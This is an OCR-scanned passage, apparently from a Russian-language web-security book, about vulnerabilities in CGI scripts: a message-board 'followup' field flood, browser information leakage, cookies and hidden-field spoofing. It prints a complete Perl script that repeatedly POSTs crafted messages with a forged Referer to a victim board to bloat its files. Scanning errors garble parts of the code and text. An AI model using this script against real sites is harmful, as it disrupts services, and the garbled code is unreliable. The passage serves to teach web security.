: ciose(MAIN): Другими словами, при добавлении записи вся доска считывается в память, после чего файл открывается еще раз и в него записывается уже обновленная версия доски. Эта же техника используется и в скрипте администрирования (и, между прочим, в скрипте гостевой книги того же автора). На больших досках это может привести к самым разным результатам (в зависимости от сервера, платформы, реализации интерпретатора peri): к уничтожению информации на доске, замедлению работы сервера (вплоть до замораживания системы) и т. п. Дополнительную уязвимость доске придает то, что большое количество критической информации хранится непосредственно в сообщении - в виде скрытых полей. В частности, в поле followup хранятся, номера сообщений, предшествовавших текущему в <эпотоке>, а также номер текущего сообщения - чтобы можно было их скорректировать после добавления очередного сообщения: Небольшие манипуляции с этим полем могут привести к разным последствиям, самое безобидное из них - засорение доски с помощью указания в строке followup номеров сообщений, нс имеющих отношения к текущему. Если же мы сформируем следующее значение (<2, 2, 2>), то уже после отправления первого сообщения на главной странице доски к записи с этим номером добавится один ответ, а также три записи вида (N), показывающие количество ответов. В теле самого сообщения уже будут видны три ссылки на один и тот же ответ. Если мы отправим это же сообщение во второй раз, то на главной странице получим девять записей (N) и еще две ссылки. Другими словами, отправление N сообщений с tollowup, содержащим М упоминаний сообщения k, приведет к записи в файл главной страницы М^ записей вида <"responses: k->N). Так, followup типа <2,2,2,2,2,2,2,2,2,2>, от- правленный девять раз, даст нам 21 х 10" байт одних только скобочек с номерами, а объем информации, переданной с клиента, нс превысит и килобайта. В сочетании с предыдущей ошибкой получаем эффективное средство атаки на сервер. Разумеется, можно попытаться поставить заслон атакующему, проверяя HTTP_REFERER и отвергая сообщения, посланные не с нашего сервера но, как сказано выше, HTTP_REFERER легко подделать. На примере следующей атаки рассмотрим использование метода POST: #!/usr/bin/perl use Socket; $port=80: Iremote^''www. victim, corn"; $path="/cgi- bin/wwwboard. pi": $name="Some name"; $emaii="iTry@mail": $subject="great page! "; $body="Nice page, guys!"; 'ifoUoшp='2.?.,2,2,2,2,2,2,2,2,2,2,2,r, Itimestopost^lO; $forminfo = "name=$naine&email=$email&followup=$followLip&subject=$subject&body=$body"; $forminfo =~ з/\,/\Уо2С/д; $forminfo='tr//+/; $length=length($forminfo): $submit = "POST $path HTTP/I.0\r\nReferer: $иг1\г\п". "User Agent: Mozilla/4.07 (Win95; l)\r\n". "Content-type: application/x-www-form-urlencoded\r\n". "Content- length: $length\r\n\r\n$forminfo\r\n"; for($i.=1; $i<=$tiniestopost: $i++) { &post_message: print "$i message(s) posted.\n"; } sub postJnessage { $].addr=inet_aton($reinote) I I die( "Failed to find host: $remote"); $paddr = sockaddr_in($port, $iaddr); $proto = getprotobyname( "tcp" ); socket(SOCK. PF_INET, SOCK_STREAH, $proto) 11 die("Failed to open socket: $!"); connect(SOCK, $paddr) I I die("Unable to connect: $!"); send(SOCK,$submit,0); close(SOCK): } Единственный способ реально <эзалатать> скрипт - вставить проверку повторяющихся номеров сообщений в followup, но и это не решит проблему окончательно. Использование серверных приложений для атаки на клиента Ситуация, когда Web-мастер сознательно занимается атакой своих посетителей, является патологической. Гораздо чаще используются ошибки cgi-скриптов для атаки других посетителей (или для создания им серьезных неудобств). Безопасность личной информации В то время как IP-адрес сервера должен быть доступен всем клиентам, желающим воспользоваться его услугами, клиент вовсе не обязан афишировать везде свой адрес. И для того, чтобы начать на него атаку, нужно каким-то образом определить его адрес. В разделе <эАтака на клиента> мы уже описывали некоторые клиентские приложения, существенно облегчающие задачу злоумышленникам, однако даже пользователь, не имеющий на своей машине ничего, кроме браузера, довольно уязвим. Ваш любимый браузер при заходе на любую страницу сообщает о себе весьма много информации. На простом примере покажем скрипт на Peri, выводящий основную информацию о посетителе страницы: #! /usr/bin/peri print ("Content-type: text/html\n\n"): @ее=( "CHARSET", йкодировка "HTTP_USER_AGENT", #тип браузера "HTTP_REFERER", йстраница, с которой вызван скрипт "REMOTE_ADDR", йадрес клиента "REMOTE_HOST", йхост клиента "HTrP_X_FORWARDED_FOR" #адрес клиента, возвращаемый U proxy-сервером ); foreach $е(@ее) { print "$e: $ENV{$e}
\n"; } Часть информации - CHARSET, USER_AGENT и HTTP_REFERER -передается клиентом и, следовательно, может быть подделана (или скрыта, все зависит от точки зрения), с чем успешно справляются proxy-серверы и программы наподобие JunkBuster или @Guard.. REMOTE_ADDR и REMOTE_HOST могут быть скрыты с помощью proxy-серверов, многие из которых возвращают реальный адрес клиента в X_FORWARDED_FOR. Другой источник утечки информации - cookies. Технически cookie представляет собой строку символов, которую сервер может сохранить на диске клиента, с тем чтобы в дальнейшем ее считать. С точки зрения безопасности практически единственная проблема, связанная с cookies, заключается "в том, что они могут быть отправлены на сервер при помощи JavaScript, и, следовательно, с их помощью может быть передана вся информация, доступная в JavaScript. Впрочем, то же самое можно проделать и при помощи скрытых форм. Предельный размер каждого cookie определен в 4 Кб, а для каждого сервера допускается не более 20 cookies. Информация, записанная сервером в cookie, считывается только этим же сервером и используется преимущественно в мирных целях, например для идентификации пользователей в оп1те-магазине,.для сохране- ния настроек и т. п. С другой стороны, далеко не всем нравится, что сервер что-то пишет на диск без ведома пользователя, да и не всех устраивает, что с помощью cookie очень легко отследить маршрут передвижения посетителя по серверу, его привычки и т. д. Последнее очень важно в связи с распространением бапнерных сетей, код которых находится на каждой второй странице WWW и которые могут установить - и устанавливают - свои cookies, позволяя проводить более масштабные маркетинговые исследования. Проблемы идентификации Предположим, мы пишем скрипт доски объявлений (или Web-чата) и хотим предусмотреть в нем возможность регистрации: чтобы пользователь мог ввести свои имя и пароль и после проверки получить право записи на доску. Вариант решения - формировать все страницы динамически с помощью скрипта, а имя пользователя записывать в скрытое поле для того, чтобы вставлять его в сообщение автоматически. Затем пользователь Vasya, честно пройдя регистрацию, дает команду View source и видит следующий код: Далее он копирует его себе на диск и слегка подправляет: